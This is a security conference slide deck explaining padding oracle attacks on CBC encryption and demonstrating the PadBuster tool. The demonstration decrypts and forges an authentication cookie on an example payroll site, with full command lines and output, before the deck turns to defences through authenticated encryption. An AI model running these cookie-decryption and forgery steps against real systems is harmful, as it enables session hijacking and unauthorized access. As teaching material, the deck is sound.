Identifying and Exploiting Padding Oracles

Brian Holyfield
Gotham Digital Science

Session ID: ASEC-403
Session Classification: Intermediate
What is a Padding Oracle?

We’re a SQL Server Shop, we don’t use Oracle.
What is a Padding Oracle?

Hold on, that’s a .NET bug isn’t it?
What is a Padding Oracle?

I saw a Padding Oracle over Russia from my house!

Padding Oracles gave me Tiger Blood
What is a “Padding Oracle”? 

- Any system that, through inference, allows you do identify padding errors that happen during the decryption process
  
  - Attack first published by Serge Vaudenay
    - “Security Flaws Induced by CBC Padding Applications to SSL, IPSEC, WTLS…” – Eurocrypt 2002
  
  - More recently applied to popular web frameworks by Juliano Rizzo and Thai Duong
    - “Practical Padding Oracle Attacks” - Black Hat Europe 2010
How PKCS#5 Padding Works

<table>
<thead>
<tr>
<th></th>
<th>BLOCK #1</th>
<th>BLOCK #2</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>1 2 3 4 5 6 7 8</td>
<td>1 2 3 4 5 6 7 8</td>
</tr>
<tr>
<td>Ex 1</td>
<td>F I G</td>
<td></td>
</tr>
<tr>
<td>Ex 1 (Padded)</td>
<td>F I G 0x05 0x05 0x05 0x05</td>
<td></td>
</tr>
<tr>
<td>Ex 2</td>
<td>B A N A N A</td>
<td></td>
</tr>
<tr>
<td>Ex 2 (Padded)</td>
<td>B A N A N A 0x02 0x02</td>
<td></td>
</tr>
<tr>
<td>Ex 3</td>
<td>A V O C A D O</td>
<td></td>
</tr>
<tr>
<td>Ex 3 (Padded)</td>
<td>A V O C A D O 0x01</td>
<td></td>
</tr>
<tr>
<td>Ex 4</td>
<td>P L A N T A I N</td>
<td></td>
</tr>
<tr>
<td>Ex 4 (Padded)</td>
<td>P L A N T A I N 0x08 0x08 0x08 0x08 0x08 0x08 0x08 0x08</td>
<td></td>
</tr>
<tr>
<td>Ex 5</td>
<td>P A S S I O N F R U I T</td>
<td></td>
</tr>
<tr>
<td>Ex 5 (Padded)</td>
<td>P A S S I O N F R U I T 0x04 0x04 0x04 0x04</td>
<td></td>
</tr>
</tbody>
</table>
How Padding Works

- Assuming this scheme, then there are only certain possible valid padding sequences:
  - 0x01
  - 0x02, 0x02
  - 0x03, 0x03, 0x03,
  - 0x04, 0x04, 0x04, 0x04
  - 0x05, 0x05, 0x05, 0x05, 0x05,
  - 0x06, 0x06, 0x06, 0x06, 0x06, 0x06
  - 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07
  - 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08
CBC Mode Refresher

Cipher Block Chaining (CBC) mode encryption
CBC Mode Refresher

Cipher Block Chaining (CBC) mode decryption
Flipping Bytes in CBC Ciphertext

Cipher Block Chaining (CBC) mode decryption
Decryption: Basic Error Checking

Disclaimer: This is a very over-simplified view

- What algorithm, mode, block size are we using?
  - Invalid Argument Exception

- Is the key the correct size?
  - Bad Key Exception

- Is the value (bytes) an even block multiple?
  - Invalid Length Exception

- Is the decrypted block properly padded?
  - Padding Exception

- Return the value
The Padding Oracle Attack

Cipher Block Chaining (CBC) mode decryption
The Padding Oracle Attack

Basic Premise:
- A change of Byte X (ciphertext) will change Byte Y (plaintext)
- There is a one-to-one correlation between Byte X values and Byte Y values
- Exception is thrown if plain-text does not end with a valid padding sequence
The Padding Oracle Attack

Padding Exception? YES
• Byte Y is not valid padding
The Padding Oracle Attack

Padding Exception? YES
• Byte Y is not valid padding
The Padding Oracle Attack

Padding Exception? NO
• Byte Y is valid padding
• Byte Y == 0x01
The Padding Oracle Attack

- What does that tell us?

<table>
<thead>
<tr>
<th>Ciphertext</th>
<th>BLOCK n-1</th>
<th></th>
<th>BLOCK n (Last Block)</th>
</tr>
</thead>
</table>

\[ ? \land X = 0x01 \]

\[ ? = 0x01 \land X \]
The Padding Oracle Attack

- What does that tell us?
  - Our Byte (0x3E) ^ Intermediate Byte (?) == 0x01
  - Intermediate Byte == 0x3E ^ 0x01
  - Intermediate Byte == 0x3F

- Now that we know the intermediate byte value…

Plain-text value is the intermediate byte XOR’d with the original ciphertext byte (the one we had previously been flipping)
Moving onto the next byte...

- For the next byte do the same thing

  - Padding now needs to equal 0x02, 0x02 to be valid

  - **Step 1:** Update the last byte of the prior ciphertext block (X) to make the decrypted last byte equal 0x02

  - **Step 2:** Do the same thing we did before but now operate on the 2\textsuperscript{nd} to last byte
    - Keep going until exception goes away (same as before)
Encrypting Arbitrary Data

- Encrypting data works much in the same way

  - **Step 1:** Take a block and figure out the intermediate value
  
  - **Step 2:** Figure out what bytes need to be XOR’d with that value to produce the desired text
  
  - **Step 3:** Prepend those values as the prior cipher text block
PadBuster - Padding Oracle Detection and Exploit Tool
PadBuster

Tool for automating Padding Oracle detection and Exploitation (written in Perl)

- HTTP Basic Authentication
- GET/POST
- Custom Cookies
- Custom Headers
- HTTP/S Proxy (w/ authentication support)
- Multiple Encoding Formats
  - Base64, Hex, WebSafe Base64, .NET UrlToken
Interesting support requests...

Hello Brian! I see your blog and see all coments from other users, i tried to run successfull the exploit but all time i see error.

I tried:

perl padBuster.pl http://example.com/ WebResource.axd?d=YOUR_COOKIE


and many many other hosts, but its alway returns ERROR!

I'm searching via google: allinurl:/dotnetnuke/

Can you help me? i'm using the correct sintax?

Regards
Interesting support requests...

I need some help with PadBuster. On last step I keep getting:

Attempt 6091 - Status: 404 - Content Length: 3503
http://www.example.com/dnn/ScriptResource.axd?
d=ygAXAAAAAAAAAbxe0J7J9SwMz7RxCNhAAAAAAAAAAA1

and no 200 :( Please help me!
Interesting support requests...

Latvian State Chancellery of the President
Scenario #1: No Error Handling

This is optimal, as you can leverage exception messages

- javax.crypto.BadPaddingException: Given final block not properly padded
Scenario #1: No Error Handling

GET /home.jsp HTTP/1.1
Host: payroll.xyz.com
Cookie: auth=8007dba45cb0f6c1dbcfa91193f3192ce8b068d825efc6b49c2df45d81a98b6747b15e4310d5ae37b74d6b83886c0affdf07d808292b9692;

[...]

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1

<HTML>
Welcome back Bob!
</HTML>
Scenario #1: No Error Handling

GET /home.jsp HTTP/1.1
Host: payroll.xyz.com
Cookie: auth=8007dba45cb0f6c1dbcfaf3f192ce8b068d825efc6b49c2df45d81a98b6747b15e4310d5ae37b74d6b83886c0affdf07d808292b9600;

[...]

HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1

<HTML>
javax.servlet.ServletException: java.lang.Exception: Given final block not properly padded
</HTML>
PadBuster Basic Use Syntax

Use: padBuster.pl URL EncryptedSample BlockSize [options]

Where:
URL = The target URL (and query string if applicable)
EncryptedSample = The encrypted value you want to test
Must also be present in the URL, PostData or a Cookie
BlockSize = The block size being used by the algorithm
Run PadBuster with Basic Options

padBuster.pl

http://payroll.xyz.com/home.jsp

8007dba45cb0f6c1dbcfa91193f3192ce8b068d825efc6b49c2df45d81a98b6747b15e4310d5ae37b74d6b83886c0affdf07d808292b9692

8

-cookies auth=8007dba45cb0f6c1dbcfa91193f3192ce8b068d825efc6b49c2df45d81a98b6747b15e4310d5ae37b74d6b83886c0affdf07d808292b9692

Use: padBuster.pl URL EncryptedSample BlockSize [options]
Scenario #1: No Error Handling

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 878

INFO: No error string was provided...starting response analysis

The following response signatures were returned:

<table>
<thead>
<tr>
<th>ID#</th>
<th>Freq</th>
<th>Status</th>
<th>Length</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>1</td>
<td>500</td>
<td>3078</td>
<td>N/A</td>
</tr>
<tr>
<td>2 **</td>
<td>255</td>
<td>500</td>
<td>3265</td>
<td>N/A</td>
</tr>
</tbody>
</table>

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended:
PadBuster Under the Hood

Block Size: 8

Sample (in blocks):

Init Vector: 8007dba45cb0f6c1

Ciphertext: dbcfa91193f3192c e8b068d825efc6b4 9c2df45d81a98b67 47b15e4310d5ae37 b74d6b83886c0aff df07d808292b9692

Round 1:

Request #1: 0000000000000000dbcfa91193f3192c
Request #2: 0000000000000001dbcfa91193f3192c
Request #3: 0000000000000002dbcfa91193f3192c
Request #4: 0000000000000003dbcfa91193f3192c
Request #5: 0000000000000004dbcfa91193f3192c
Request #6: 0000000000000005dbcfa91193f3192c
Request #7: 0000000000000006dbcfa91193f3192c

[...]
Scenario #1: No Error Handling

A closer look at the response signatures from the previous example:

- **Signature 1**
  - java.util.NoSuchElementException

- **Signature 2**
  - java.lang.Exception: Given final block not properly padded
PadBuster Output

** Finished ***

[+] Decrypted value (ASCII):

service=payroll|user=bob|logintime=1307536491♥♥♥

[+] Decrypted value (HEX):

736572766963653D706179726F6C6C7C757365723D626F627C6C6F67696E74696D653D3133303735333634393103030303

[+] Decrypted value (Base64):

c2VydmljZT1wYXlyb2xsfHVzZXI9Ym9ifGxvZ2ludGlzT0xMzMzA3NTM2NDkxAwMD
Encrypting Data with PadBuster

```
padBuster.pl
http://payroll.xyz.com/home.jsp
8007dba45cb0f6c1dbcfa91193f3192ce8b068d825efc6b49c2df45d81a98b6747b15e4310d5ae37b74d6b83886c0affdf07d808292b9692
8
  --cookies auth=8007dba45cb0f6c1dbcfa91193f3192ce8b068d825efc6b49c2df45d81a98b6747b15e4310d5ae37b74d6b83886c0affdf07d808292b9692
  --encoding 1
  --log
  --plaintext "service=payroll|user=alice|logintime=1307536491"
```
PadBuster Output

** Finished ***

[+] Encrypted value is: 542b0cc02b3c07cfd8de8560534f3abefb59589e81c75b0b260f7cc1de93cf820f5b53db0c8261f2b2d878ab74fd35b100000000000000

auth=542b0cc02b3c07cfd8de8560534f3abefb59589e81c75b0b260f7cc1de93cf820f5b53db0c8261f2b2d878ab74fd35b1000000000000000
Scenario #2: No Exception Details

What the code looked like before:

```java
String cookieString = decryptCookie(cookie);
HashMap hashmap = parseCookie(cookieData);
User user = fetchUser(hashMap.get("username"));
if (user != null)
{
    //Process Request
}
else {
    response.sendRedirect("login.jsp");
}
```
Scenario #2: No Exception Details

What the code looks like now:

```java
try {
    String cookieString = decryptCookie(cookie);
    HashMap hashMap = parseCookie(cookieData);
    User user = fetchUser(hashMap.get("username"));
    if (user != null)
    {
        //Process Request
    } else {
        response.sendRedirect("login.jsp");
    }
} catch (Exception e)
{
    throw new Exception("Sorry, an error has occurred.");
}
```
Scenario #2: No Exception Details

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 878

INFO: No error string was provided...starting response analysis

The following response signatures were returned:

<table>
<thead>
<tr>
<th>ID#</th>
<th>Freq</th>
<th>Status</th>
<th>Length</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>256</td>
<td>500</td>
<td>29</td>
<td>N/A</td>
</tr>
</tbody>
</table>

ERROR: All of the responses were identical. Double check the Block Size and try again.
Run PadBuster with Options

```
padBuster.pl
http://payroll.xyz.com/home.jsp
8007dba45cb0f6c1dbbc9a91193f3192ce8b068d825ef6b49c2df45d81a98b6747b15e4310d5ae37b74d6b83886c0affdf07d808292b9692
8
  --cookies auth=8007dba45cb0f6c1dbbc9a91193f3192ce8b068d825ef6b49c2df45d81a98b6747b15e4310d5ae37b74d6b83886c0affdf07d808292b9692
  --encoding 1
  --log
  --prefix 8007dba45cb0f6c1dbbc9a91193f3192ce8b068d825ef6b49c2df45d81a98b6747b15e4310d5ae37b74d6b83886c0affdf07d808292b9692
```
Scenario #2: No Exception Details

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 878

INFO: No error string was provided...starting response analysis

The following response signatures were returned:

<table>
<thead>
<tr>
<th>ID#</th>
<th>Freq</th>
<th>Status</th>
<th>Length</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>1</td>
<td>302</td>
<td>122</td>
<td><a href="http://payroll.xyz.com/login.jsp">http://payroll.xyz.com/login.jsp</a></td>
</tr>
<tr>
<td>2 **</td>
<td>255</td>
<td>500</td>
<td>29</td>
<td>N/A</td>
</tr>
</tbody>
</table>

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended:

GOTHAM DIGITAL • SCIENCE
Scenario #2: No Exception Details

try {
    String cookieString = decryptCookie(cookie);
    HashMap hashMap = parseCookie(cookieData);
    User user = fetchUser(hashMap.get("username"));
    if (user != null) {
        //Process Request
    } else {
        response.sendRedirect("login.jsp");
    }
} catch (Exception e) {
    throw new Exception("Sorry, an error has occurred.");
}
Scenario #3: Secret IV

- Previous exploits assume that IV is passed with ciphertext
  - Secret IV prevents you from decrypting or manipulating the first ciphertext block

[+] Decrypted value (ASCII):
  - payroll|user=bob|logintime=1307536491♥♥♥
Scenario #3: Secret IV

-noiv: Sample does not include IV (decrypt the first block)

- If the IV is NULL, then you will see the actual value, otherwise you see the intermediate bytes

[+] Decrypted value (ASCII):

```plaintext
payroll|user=bob|logintime=1307536491
```
Encrypting with Secret IV

- You’ll need a “Sacrifice Block” in the payload
  - This is essentially the “IV” you need to forge your first block
  - Will ultimately decrypt to “garbage”, but may need to be incorporated into the plain-text payload to avoid errors

- Was anything critical in the original first block?

  YES: Original Block(s) + Sacrifice Block + Forged Block(s)

  NO: Sacrifice Block + Forged Block(s)
Encrypting with Secret IV

<table>
<thead>
<tr>
<th>Block:</th>
<th>#1</th>
<th>#2</th>
<th>#3</th>
</tr>
</thead>
<tbody>
<tr>
<td>Plaintext:</td>
<td>♀0ㅃ ·■àécoute</td>
<td>payroll</td>
<td></td>
</tr>
<tr>
<td>Encrypted:</td>
<td>c3f854957ada33f8</td>
<td>331a6a84f2671689</td>
<td>9fad0d0c30cbfad0</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Block:</th>
<th>#4</th>
<th>#5</th>
<th>#6</th>
</tr>
</thead>
<tbody>
<tr>
<td>Plaintext:</td>
<td></td>
<td>logintime=1307536491</td>
<td></td>
</tr>
<tr>
<td>Encrypted:</td>
<td>85a247093c383625</td>
<td>18bebfa47f13ff8c</td>
<td>592f8e8ebba54030</td>
</tr>
</tbody>
</table>

The payload:

<table>
<thead>
<tr>
<th>Original Blocks</th>
<th>Sacrifice Block</th>
<th>Forged Blocks</th>
</tr>
</thead>
<tbody>
<tr>
<td>♀0คำถาม ·■àécoute</td>
<td>??????????</td>
<td>1=2</td>
</tr>
</tbody>
</table>
Encrypting with Secret IV

padBuster.pl
http://payroll.xyz.com/home.jsp
8007dba45cb0f6c1dbcfa91193f3192ce8b068d825efc6b49c2df45d81a98b674
7b15e4310d5ae37b74d6b83886c0affdf07d808292b9692
8
--cookies auth=8007dba45cb0f6c1dbcfa91193f3192ce8b068d825efc6b49c2
df45d81a98b6747b15e4310d5ae37b74d6b83886c0affdf07d808292b9692
--encoding 1
--log
--prefix 8007dba45cb0f6c1dbcfa91193f3192ce8b068d825efc6b49c2df45d81a
98b6747b15e4310d5ae37b74d6b83886c0affdf07d808292b9692
--plaintext "1=2|user=alice|logintime=1307536491"
PadBuster Output

** Finished ***

[+] Encrypted value is:

d633c7203de8bd6eb0cc5b7c8cca2012793871265f93dcd8f608838d8aa6ba6cb1d47a98
45c101b500000000000000000

Orig Block:  #1                #2
Plaintext:  ♀0्ू·॥àóᴐpayroll|  #2
Encrypted:  c3f854957ada33f8  331a6a84f2671689

auth=c3f854957ada33f8331a6a84f2671689d633c7203de8bd6eb0cc5b7c8cca20
12793871265f93dcd8f608838d8aa6ba6cb1d47a9845c101b50000000000000000
Preventing Padding
Oracle Exposures
Preventing Padding Oracle Exposures

- Encrypting data alone is not enough
  - Designed to ensure privacy of the data at rest / in transit
  - Does nothing to ensure the integrity of the message

- To protect against this attack, we need to ensure both privacy and integrity
Preventing Padding Oracle Exposures

- Authenticated Encryption

- Combines cipher text with a MAC (Message Authentication Code) to prevent tampering
  - MAC is a cryptographic hash function that requires a secret key
  - Cannot be re-computed without the key

Verifies the **integrity** and **authenticity** of a message
Preventing Padding Oracle Exposures

- Why not HMAC within the ciphertext?

Padding Oracle Attack in .NET Framework

- Discovered September 2010 (Juliano Rizzo and Thai Duong)
- Viewstate and Forms Authentication Cookies could be decrypted
  - HMAC was included **within** the ciphertext
  - Tampering was detected **after** decryption (too late)
Don’t Reinvent the Wheel

- Use an API that provides authenticated encryption out of the box
  - Google Key Czar (keyczar.org)
    - Java and Python
  - Microsoft CLR Security (clrsecurity.codeplex.com)
    - .NET (all languages)
  - NaCl (nacl.cr.yp.to)
    - C++
How to Apply What You Have Learned Today

- Identify Padding Oracle exposures in your applications
  - Look for areas within code that use CBC encryption without signed cipher text
  - Signature should cover the cipher text, not the plain-text

- Use PadBuster to develop proof-of-concept exploits
  - Perform black-box testing against closed-source applications
  - Confirm exploitability of known vulnerabilities
Additional Resources

- Explanation of Padding Oracle Attacks

- PadBuster on GitHub
  - https://github.com/GDSSecurity/PadBuster

- BackTrack 5 (includes PadBuster v0.3.1)
  - http://www.backtrack-linux.org/

- Email: labs@gdssecurity.com